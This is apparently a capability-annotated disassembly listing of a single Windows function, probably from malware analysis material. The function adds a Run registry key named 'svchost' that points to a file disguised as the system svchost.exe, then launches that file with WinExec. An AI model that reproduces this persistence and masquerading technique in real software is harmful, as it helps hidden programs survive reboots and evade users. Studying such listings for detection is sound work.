Function at 0x404a00
Capabilities:
Create process on windows
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffd44
mov eax, 0x4d23cc
push ebx
push esi
push edi
call fcn.0049b8e0
cmp dword [0x4d11bc], 1
jne 0x404a5b
mov word [ebp - 0x2a4], 8
mov edx, str.Dopisuje_program_do_autostartu
lea eax, [ebp - 0x278]
call fcn.004a7ad8
inc dword [ebp - 0x298]
mov eax, dword [eax]
call fcn.00485e38
dec dword [ebp - 0x298]
lea eax, [ebp - 0x278]
mov edx, 2
call fcn.004a7c38
mov word [ebp - 0x2a4], 0x14
mov dl, 1
mov eax, dword [0x4422e8]
call fcn.004423bc
mov word [ebp - 0x2a4], 0x14
mov edi, eax
mov edx, SysFreeString
mov eax, edi
call fcn.004a7a44
mov word [ebp - 0x2a4], 0x20
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun
lea eax, [ebp - 0x27c]
call fcn.004a7ad8
inc dword [ebp - 0x298]
mov edx, dword [eax]
xor ecx, ecx
mov eax, edi
call fcn.004424c0
dec dword [ebp - 0x298]
lea eax, [ebp - 0x27c]
mov edx, 2
call fcn.004a7c38
mov word [ebp - 0x2a4], 0x38
mov edx, 0x4d162c
lea eax, [ebp - 0x280]
call fcn.004a7ad8
inc dword [ebp - 0x298]
mov edx, dword [eax]
mov eax, edi
call fcn.004426e8
mov ebx, eax
dec dword [ebp - 0x298]
lea eax, [ebp - 0x280]
mov edx, 2
call fcn.004a7c38
mov word [ebp - 0x2a4], 0x2c
test bl, bl
jne 0x404b82
mov edx, str.c:WINDOWS_svchost.exe
lea eax, [ebp - 0x288]
call fcn.004a7ad8
inc dword [ebp - 0x298]
mov edx, str.svchost
mov ecx, dword [eax]
lea eax, [ebp - 0x284]
push ecx
mov word [ebp - 0x2a4], 0x44
call fcn.004a7ad8
inc dword [ebp - 0x298]
mov edx, dword [eax]
mov eax, edi
pop ecx
call fcn.00442634
dec dword [ebp - 0x298]
lea eax, [ebp - 0x288]
mov edx, 2
call fcn.004a7c38
dec dword [ebp - 0x298]
lea eax, [ebp - 0x284]
mov edx, 2
call fcn.004a7c38
mov esi, edi
mov dword [ebp - 0x290], esi
test esi, esi
je 0x404bb8
mov eax, dword [esi]
mov dword [ebp - 0x28c], eax
mov word [ebp - 0x2a4], 0x5c
mov edx, 3
mov eax, dword [ebp - 0x290]
mov ecx, dword [eax]
call dword [ecx - 4]
mov word [ebp - 0x2a4], 0x50
mov word [ebp - 0x2a4], 0x14
mov word [ebp - 0x2a4], 0
jmp 0x404bda
mov word [ebp - 0x2a4], 0x68
lea edx, [ebp - 0x78]
mov dword [ebp - 0x138], edx
lea eax, [ebp - 0x78]
mov dword [ebp - 0x128], eax
lea edx, [ebp - 0x78]
push edx
call fcn.004031a8
pop ecx
add dword [ebp - 0x298], 7
push 0
push 1
lea ecx, [ebp - 0x138]
push ecx
call fcn.00403214
add esp, 0xc
mov eax, 0x4d35ac
add dword [ebp - 0x298], 3
mov dword [ebp - 0x134], eax
mov edx, 0x4d35b8
mov dword [ebp - 0x124], edx
mov ecx, 0x4d35c4
mov eax, dword [ebp - 0x138]
lea edx, [ebp - 0x120]
mov dword [eax], ecx
push edx
call fcn.00403384
pop ecx
add dword [ebp - 0x298], 4
lea ecx, [ebp - 0x120]
push ecx
mov eax, dword [ebp - 0x138]
push eax
call fcn.004035ac
add esp, 8
inc dword [ebp - 0x298]
mov word [ebp - 0x2a4], 0x80
mov word [ebp - 0x2a4], 0x8c
lea edx, [ebp - 0x1b0]
mov dword [ebp - 0x270], edx
lea ecx, [ebp - 0x1b0]
mov dword [ebp - 0x260], ecx
lea eax, [ebp - 0x1b0]
push eax
call fcn.004031a8
pop ecx
lea edx, [ebp - 0x270]
add dword [ebp - 0x298], 7
push 0
push 1
push edx
call fcn.00403214
add esp, 0xc
mov ecx, 0x4d35ac
add dword [ebp - 0x298], 3
mov dword [ebp - 0x26c], ecx
mov eax, 0x4d35b8
mov dword [ebp - 0x25c], eax
mov edx, 0x4d35c4
mov ecx, dword [ebp - 0x270]
lea eax, [ebp - 0x258]
mov dword [ecx], edx
push eax
call fcn.00403384
pop ecx
lea edx, [ebp - 0x258]
add dword [ebp - 0x298], 4
push edx
mov ecx, dword [ebp - 0x270]
push ecx
call fcn.004035ac
add esp, 8
inc dword [ebp - 0x298]
mov word [ebp - 0x2a4], 0x80
mov word [ebp - 0x2a4], 0xa4
mov edx, 0x4d1653
lea eax, [ebp - 0x274]
call fcn.004a7ad8
inc dword [ebp - 0x298]
mov word [ebp - 0x2a4], 0x80
mov eax, dword [ebp - 0x274]
call fcn.004445ec
test al, al
jne 0x404f6e
cmp dword [ebp - 0x274], 0
je 0x404d73
mov eax, dword [ebp - 0x274]
jmp 0x404d78
mov eax, 0x4d166a
mov word [ebp - 0x2a4], 0xb0
mov ebx, eax
push 0x14
push ebx
lea eax, [ebp - 0x214]
push eax
call fcn.004ae164
add esp, 0xc
test al, al
je 0x404da1
lea edx, [ebp - 0x258]
jmp 0x404da3
xor edx, edx
test edx, edx
jne 0x404dd4
mov ebx, dword [ebp - 0x270]
mov esi, dword [ebx + 8]
or esi, 4
cmp dword [ebx + 0x6c], 0
je 0x404dbd
mov edi, esi
jmp 0x404dc2
mov edi, esi
or edi, 1
mov dword [ebx + 8], edi
mov eax, dword [ebx + 8]
and eax, dword [ebx + 0x14]
je 0x404dd4
push ebx
call fcn.004a9ec4
pop ecx
mov edx, 0x4e20d0
lea eax, [ebp - 0x274]
call fcn.004a7c68
cmp dword [ebp - 0x274], 0
je 0x404df5
mov eax, dword [ebp - 0x274]
jmp 0x404dfa
mov eax, 0x4d166b
mov ebx, eax
push 0xc
push ebx
lea eax, [ebp - 0xdc]
push eax
call fcn.004ae164
add esp, 0xc
test al, al
je 0x404e1a
lea edx, [ebp - 0x120]
jmp 0x404e1c
xor edx, edx
test edx, edx
jne 0x404e4d
mov ebx, dword [ebp - 0x138]
mov esi, dword [ebx + 8]
or esi, 4
cmp dword [ebx + 0x6c], 0
je 0x404e36
mov edi, esi
jmp 0x404e3b
mov edi, esi
or edi, 1
mov dword [ebx + 8], edi
mov eax, dword [ebx + 8]
and eax, dword [ebx + 0x14]
je 0x404e4d
push ebx
call fcn.004a9ec4
pop ecx
push 4
push 0
lea edx, [ebp - 0x138]
push edx
call fcn.00403914
add esp, 0xc
lea ecx, [ebp - 0x138]
push ecx
lea eax, [ebp - 0x2bc]
push eax
call fcn.00403ae0
add esp, 8
mov word [ebp - 0x2a4], 0xb0
push 1
push 0
lea edx, [ebp - 0x138]
push edx
call fcn.00403914
add esp, 0xc
push 4
call fcn.00499954
pop ecx
mov esi, eax
xor ebx, ebx
jmp 0x404ec5
push 1
push esi
lea eax, [ebp - 0x138]
push eax
call fcn.00403b5c
add esp, 0xc
lea edx, [ebp - 0x260]
push 1
push esi
push edx
call fcn.00404060
add esp, 0xc
inc ebx
cmp ebx, dword [0x4d11b0]
jl 0x404ea0
lea ecx, [ebp - 0x120]
push ecx
call fcn.004042c8
pop ecx
test eax, eax
jne 0x404f0b
mov ebx, dword [ebp - 0x138]
mov esi, dword [ebx + 8]
or esi, 4
cmp dword [ebx + 0x6c], 0
je 0x404ef4
mov edi, esi
jmp 0x404ef9
mov edi, esi
or edi, 1
mov dword [ebx + 8], edi
mov eax, dword [ebx + 8]
and eax, dword [ebx + 0x14]
je 0x404f0b
push ebx
call fcn.004a9ec4
pop ecx
lea edx, [ebp - 0x258]
push edx
call fcn.004042c8
pop ecx
test eax, eax
jne 0x404f49
mov ebx, dword [ebp - 0x270]
mov esi, dword [ebx + 8]
or esi, 4
cmp dword [ebx + 0x6c], 0
je 0x404f32
mov edi, esi
jmp 0x404f37
mov edi, esi
or edi, 1
mov dword [ebx + 8], edi
mov eax, dword [ebx + 8]
and eax, dword [ebx + 0x14]
je 0x404f49
push ebx
call fcn.004a9ec4
pop ecx
mov word [ebp - 0x2a4], 0x80
jmp 0x404f62
push 5
push str.C:Windows_svchost.exe
call sub.KERNEL32.DLL_WinExec
dec dword [ebp - 0x298]
lea eax, [ebp - 0x274]
mov edx, 2
call fcn.004a7c38
dec dword [ebp - 0x298]
sub dword [ebp - 0x298], 4
push 2
lea ecx, [ebp - 0x258]
push ecx
call fcn.004046d8
add esp, 8
sub dword [ebp - 0x298], 0xa
push 0
lea eax, [ebp - 0x270]
push eax
call fcn.00404784
add esp, 8
dec dword [ebp - 0x298]
sub dword [ebp - 0x298], 6
push 0
lea edx, [ebp - 0x1b0]
push edx
call fcn.004aa150
add esp, 8
dec dword [ebp - 0x298]
sub dword [ebp - 0x298], 4
push 2
lea ecx, [ebp - 0x120]
push ecx
call fcn.004046d8
add esp, 8
sub dword [ebp - 0x298], 0xa
push 0
lea eax, [ebp - 0x138]
push eax
call fcn.00404784
add esp, 8
dec dword [ebp - 0x298]
sub dword [ebp - 0x298], 6
push 0
lea edx, [ebp - 0x78]
push edx
call fcn.004aa150
add esp, 8
mov ecx, dword [ebp - 0x2b4]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret